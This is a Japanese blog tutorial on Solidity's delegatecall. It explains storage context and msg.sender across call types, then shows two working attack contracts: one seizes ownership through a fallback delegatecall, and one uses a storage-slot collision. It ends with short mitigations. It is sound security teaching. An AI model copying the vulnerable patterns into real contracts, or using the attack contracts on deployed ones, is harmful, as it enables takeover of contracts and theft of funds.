こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。
このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。
https://mirror.xyz/0xcE77b9fCd390847627c84359fC1Bc02fC78f0e58
今回は「Delegatecall
」について解説していきます。
「delegatecall
」は便利な反面使用するにはしっかり理解しておく必要があります。
しっかり理解しないで使用すると簡単に攻撃されて取り返しがつかない状態になりかねません。
Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。
バグ・バウンティが何かわからない人は以下の記事を読んでください。
Delegatecallとは?
概要
Solidityのdelegatecall
を一言で表すと、「あるコントラクトから、別のコントラクトの関数を呼び出すことができるもの」です。
以下の画像のようにAppコントラクトからBankコントラクト内のdeposit
関数を呼び出すことができます。
また、呼び出し先ではなく、呼び出し元のストレージデータが使われます。
通常他のコントラクト内の関数を呼び出した時、使用されるストレージデータは呼び出し先のデータです。
Delegatecallの動作確認
delegatecall
について概要を把握したところで、早速動きを確認していきましょう。
呼び出し元であるCountコントラクト内のcountUp
関数を実行すると、呼び出し元であるAppコントラクト内のcounter
変数がカウントアップされているのが確認できますね。
コードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Count {
uint public counter;
function countUp() public {
counter ++;
}
}
contract App {
uint public counter;
Count public count;
constructor(address _countAddress) {
count = Count(_countAddress);
}
function callCountUp() public returns(bool) {
(bool sent, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
return sent;
}
}
ではdelegatecall
を使用しないとどうなるか確認しましょう。
delegatecall
を使用した時異なり、呼び出し先であるCountコントラクト内のcounter
変数がカウントアップされているのが確認できます。
コードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Count {
uint public counter;
function countUp() public {
counter ++;
}
}
contract App {
uint public counter;
Count public count;
constructor(address _countAddress) {
count = Count(_countAddress);
}
// function callCountUp() public returns(bool) {
// (bool sent, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
// return sent;
// }
function callCountUp() public {
count.countUp();
}
}
他のコントラクトを呼び出すパターン
実は他のコントラクトの関数を呼び出す方法には、以下の4つの方法があります。
パターン
- 直接呼び出す
- callによる呼び出し
- callcodeによる呼び出し
- delegatecallによる呼び出し
なんでこんなに種類があるのか?
その答えは「ストレージデータ」と「msg.sender
」がそれぞれ異なるためです。
ここでは他のコントラクトを呼び出す4つの方法を1つずつ確認していきます。
他のコントラクトを呼び出す方法をマスターしましょう!
呼び出し元と呼び出し先
念の為あらかじめ用語の整理をしておきます。
「呼び出し元」とは別のコントラクトを呼び出しているコントラクトを指します。
つまり、AppコントラクトがCountコントラクトを呼び出しているとき、「呼び出し元」はAppコントラクトになります。
逆に、「呼び出し先」とは別のコントラクトに呼び出されたコントラクトを指します。
つまり、AppコントラクトがCountコントラクトを呼び出しているとき、「呼び出し先」はCountコントラクトになります。
直接呼び出し
直接呼び出す方法は先ほど見ましたが、「呼び出し元」の確認ができていなかったので改めて確認していきましょう。
AppコントラクトからCountコントラクトを呼んだ結果、呼び出し先であるCountコントラクトの「ストレージデータ」が使用されていることが確認できました。
また、「msg.sender
」は呼び出し元のAppコントラクトのアドレスが使用されていることも確認できました。
直接呼び出しをまとめると以下になります。
まとめ
- ストレージデータ
- 呼び出し先
- msg.sender
- 呼び出し元
コードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Count {
uint public counter;
address public callAddress;
function countUp() public {
counter ++;
}
function changeCallAddress() public {
callAddress = msg.sender;
}
}
contract App {
uint public counter;
address public callAddress;
Count public count;
constructor(address _countAddress) {
count = Count(_countAddress);
}
function callCountUp() public {
count.countUp();
count.changeCallAddress();
}
}
callによる呼び出し
次にcall
を使用した呼び出しについて確認していきます。
call
での呼び出しは「直接呼び出し」と変わらないですね。
call
呼び出しをまとめると以下になります。
まとめ
- ストレージデータ
- 呼び出し先
- msg.sender
- 呼び出し元
コードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Count {
uint public counter;
address public callAddress;
function countUp() public {
counter ++;
}
function changeCallAddress() public {
callAddress = msg.sender;
}
}
contract App {
uint public counter;
address public callAddress;
Count public count;
constructor(address _countAddress) {
count = Count(_countAddress);
}
function callCountUp() public returns(bool, bool) {
(bool sentCountUp, ) = address(count).call(abi.encodeWithSignature("countUp()"));
(bool sentChangeCallAddress, ) = address(count).call(abi.encodeWithSignature("changeCallAddress()"));
return (sentCountUp, sentChangeCallAddress);
}
}
callcodeによる呼び出し
では次にcallcode
による呼び出しについて見ていきましょう。
callcode
は現在非推奨であり、delegatecall
が推奨されています。
Solidity0.8
ではcallcode
を実行できないため、まとめだけにとどめておきます。
まとめ
- ストレージデータ
- 呼び出し元
- msg.sender
- 呼び出し元
直接呼び出しやcall
と違って、ストレージデータは呼び出し元のデータを使用します。
delegatecallによる呼び出し
最後にdelegatecall
を確認していきましょう。
呼び出し元であるAppコントラクト内の「ストレージデータ」が使用されていますね。
そして気になるのが「msg.sender
」だと思います。
delegatecall
を使用すると、「msg.sender
」には実行したEOAアドレス(外部所有アドレス。メタマスクなど)が格納されているのが確認できました。
delegatecall
のこの特徴から、EOAアカウントからはあたかもAppコントラクトが全ての処理をしているように見えるため、ライブラリなどを使用する際に役立つ。
delegatecall
についてもまとめていきます。
まとめ
- ストレージデータ
- 呼び出し元
- msg.sender
- 呼び出し元のEOAアドレス
コードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Count {
uint public counter;
address public callAddress;
function countUp() public {
counter ++;
}
function changeCallAddress() public {
callAddress = msg.sender;
}
}
contract App {
uint public counter;
address public callAddress;
Count public count;
constructor (address _countAddress) {
count = Count(_countAddress);
}
function callCountUp() public returns(bool, bool) {
(bool sentCountUp, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
(bool sentChangeCallAddress, ) = address(count).delegatecall(abi.encodeWithSignature("changeCallAddress()"));
return (sentCountUp, sentChangeCallAddress);
}
}
// 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
// 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
危険なDelegatecallとは?
ではdelegatecall
を使用する上で注意すべき点はないのか?
もちろんあります。
この章では危険なdelegatecall
の事例を2つほど紹介します。
所有者のアドレスを変更
delegatecall
を実行すると、msg.sender
には実行したEOAアドレスが格納されていることを前章で確認してきました。
これを悪用することで、予期せぬ動作を引き起こすことができてしまいます。
実際にコードを実行しながら確認していきましょう。
User
contract User {
address public owner;
function setOwner() public {
owner = msg.sender;
}
}
owner
という変数を定義し、setOwner
関数を実行することでowner
変数にmsg.sender
を格納しています。
Count
contract Count {
address public owner;
User public user;
constructor(User _user) {
owner = msg.sender;
user = User(_user);
}
fallback() external payable {
address(user).delegatecall(msg.data);
}
}
コントラクトデプロイ時に一度だけ実行されるconstructor
で、owner
変数に実行したEOAアドレスと先ほどのUserコントラクトのアドレスを格納しています。
fallback
関数が定義されていて、delegatecall
を使用してUserコントラクトを呼び出しています。
Attack
contract Attack {
address public countAddress;
constructor (address _countAddress) {
countAddress = _countAddress;
}
function attack() public {
address(countAddress).call(abi.encodeWithSignature("setOwner()"));
}
}
攻撃者が実行する関数です。
attack
関数では、Countコントラクトを呼び出してsetOwner
関数を実行しています。
Countコントラクトには、setOwner
関数がないのでどのような動作になるのでしょうか?
実際に実行して動作を確認しましょう。
どうでしょうか?理解できましたか?
少し複雑なので順番に説明していきます。
登場人物
まずは登場人物から確認していきましょう。
ユーザーA:UserコントラクトとCountコントラクトをデプロイ。
ユーザーB:Attackコントラクトをデプロイ。
ユーザーAが被害者、ユーザーBが攻撃者という立ち位置です。
Userコントラクトのデプロイ
Userコントラクをデプロイし、setOwner
関数を実行すると、実行したユーザーAのアドレスがowner
変数に格納されています。
Countコントラクトのデプロイ
次にCountコントラクトをデプロイします。
デプロイしたのち、owner
変数には実行したユーザーAのアドレスが格納され、user
変数にはUserコントラクトのアドレスが格納されています。
Attackコントラクトのデプロイ
最後にAttackコントラクトをデプロイし、attack関数を実行すると以下の手順で処理が進んでいきます。
手順
- Countコントラクトを呼び出し、
setOwner
関数を実行。 - Countコントラクトには
setOwner
関数がないため、実行する関数がない時に呼ばれるfallback
関数が呼ばれる。 fallback
関数は、Attackコントラクトのcallで呼ばれた引数のabi.encodeWithSignature("setOwner()")
が格納されているmsg.data
を引数とった、delegatecall
を実行してUserコントラクトが呼び出す。- Userコントラクトで
setOwner
が実行される。 delegateacll
では呼び出し元のストレージデータが使用されるため、delegateacll
の呼び出し元であるCountコントラクトのowner
変数が変更される。
いかがでしょうか?
なんとなくイメージできたのではないでしょうか?
このようにdelegatecall
を悪用することで、予想外の変更をされてしまう恐れがあります。
使用したコードは以下になります。
コードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
/// @notice ownerにmsg.senderを格納する関数。
contract User {
address public owner;
function setOwner() public {
owner = msg.sender;
}
}
/// @notice Userコントラクトをfallback関数の中で呼び出す関数。
contract Count {
address public owner;
User public user;
constructor(User _user) {
owner = msg.sender;
user = User(_user);
}
fallback() external payable {
address(user).delegatecall(msg.data);
}
}
/// @notice Countコントラクトを経由して、Userコントラクトを呼び出す攻撃者が実行する関数。
contract Attack {
address public countAddress;
constructor (address _countAddress) {
countAddress = _countAddress;
}
function attack() public {
address(countAddress).call(abi.encodeWithSignature("setOwner()"));
}
}
予想外の変数の変更
delegatecall
を使用するとき、呼び出し元のコントラクトと呼び出し先のコントラクトでストレージ変数を同じ名前で同じ順番に定義する必要があります。
なんでそんなことをしないといけないかというと、変更したい変数と異なる変数の値が更新されてしまう恐れがあるためです。
ではまずはコードを見てから実行していきましょう。
User
contract User {
uint public age;
/// @notice ageを引数に受け取り変更する関数。
function updateAge(uint _age) public {
age = _age;
}
}
_age
という引数を受け取ってage
変数の値を更新するupdateAge
関数が定義されています。
Profile
/// @notice Userコントラクトをdelegatecallで呼び出す関数。
contract Profile {
address public user;
address public owner;
uint public age;
constructor(address _user) {
user = _user;
owner = msg.sender;
}
function updateAge(uint _age) public {
user.delegatecall(abi.encodeWithSignature("updateAge(uint256)", _age));
}
}
delegatecall
でUserコントラクトのupdateAge
関数を呼び出しています。
Attack
/// @notice Profileに攻撃を仕掛ける関数。
contract Attack {
address public user;
address public owner;
uint public age;
Profile public profile;
constructor (Profile _profile) {
profile = Profile(_profile);
}
function attack() public {
profile.updateAge(uint(uint160(address(this))));
profile.updateAge(100);
}
function updateAge(uint _num) public {
owner = msg.sender;
}
}
attack
関数では、ProfileコントラクトのupdateAge
関数を2回呼び出しています。
updateAge
関数も定義されていて、msg.sender
をowner
変数に格納しています。
なぜattack
関数でProfileコントラクトのupdateAge
関数を2回呼び出しているのかに意識を向けながら実行を確認してください。
いかがだったでしょうか?
わけわからないですよね?
安心してください。ちゃんと説明していきます。
attack
関数を実行してからの処理の手順は以下のようになっています。
- Profielコントラクトを呼び出し、Attackコントラクトアドレスを渡して
updateAge
関数が呼ばれる。 - ProfielコントラクトのupdateAge関数では、
_age
を引数で受け取り、delegatecall
でUserコントラクトのupdateAge
関数を呼び出して_age
を渡す。
delegatecall
で呼ばれたUserコントラクトのupdateAge
関数では、Profileコントラクトのストレージデータを使用するため、Profielコントラクトのage変数に_age
が格納される…。- とはならず、Profileコントラクトの
user
変数に_age
引数の値が格納されます。
- Profielコントラクトの
user
変数にAttackコントラクトのアドレスが格納されました。 - Attackコントラクトでは再度Profielコントラクの
updateAge
関数を呼び出します。 - Profielコントラクトの
user
変数にはAttackコントラクトのアドレスが格納されているため、AttackコントラクトのupdateAge
関数がdelegatecall
で呼ばれます。 delegatecall
で呼ばれているため、先ほど同様Profileコントラクトのストレージデータのowner
変数にAttackコントラクトのアドレスが格納されました。
先ほどよりもより複雑ですね…。
ちなみになぜ、Profileコントラクトのage
変数に_age
が格納されず、Profileコントラクトのuser
変数に_age
が格納されたのでしょう?
これはストレージデータが定義された順番に格納されていることが理由です。
詳しくは以下を読んでください。
Userコントラクトでは「1番目のストレージデータを更新する」処理を行なっているので、Profileコントラクトの1番目の変数であるuser
変数が更新されてしまったのです。
全体のコードは以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract User {
uint public age;
/// @notice ageを引数に受け取り変更する関数。
function updateAge(uint _age) public {
age = _age;
}
}
/// @notice Userコントラクトをdelegatecallで呼び出す関数。
contract Profile {
address public user;
address public owner;
uint public age;
constructor(address _user) {
user = _user;
owner = msg.sender;
}
function updateAge(uint _age) public {
user.delegatecall(abi.encodeWithSignature("updateAge(uint256)", _age));
}
}
/// @notice Profileに攻撃を仕掛ける関数。
contract Attack {
address public user;
address public owner;
uint public age;
Profile public profile;
constructor (Profile _profile) {
profile = Profile(_profile);
}
function attack() public {
profile.updateAge(uint(uint160(address(this))));
profile.updateAge(100);
}
function updateAge(uint _num) public {
owner = msg.sender;
}
}
対処法
では最後に対処法を確認していきましょう。
変数の定義を再確認
delegatecall
を使用する際は、呼び出し先と呼び出し元で変数が同じ順番で定義されていることを確認しましょう。
順番や型が異なるだけで危険なので十分に気をつけてください。
変数の不要な更新を防ぐ
攻撃対象となり得る他の変数への不要な更新を行わないようにしましょう。
予想外の更新がされるとまずい変数に関してはむやみやたらに更新できないように設計することが重要です。
最後に
今回は「delegatecall
」について取り上げてきました。
「delegatecall
」はしっかり理解して使わないと危ないということを理解してもらえたら嬉しいです。
もし何か質問などがあれば以下のTwitterなどから連絡ください!
普段はSolidityやブロックチェーン、Web3についての情報発信をしています。
Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!
参考
https://coinsbench.com/unsafe-delegatecall-part-2-hack-solidity-5-94dd32a628c7
https://qiita.com/doskin/items/c4fd8952275c67deb594
https://coinsbench.com/unsafe-delegatecall-part-1-hack-solidity-5-81d5f295edb6
https://coinsbench.com/unsafe-delegatecall-part-2-hack-solidity-5-94dd32a628c7
https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how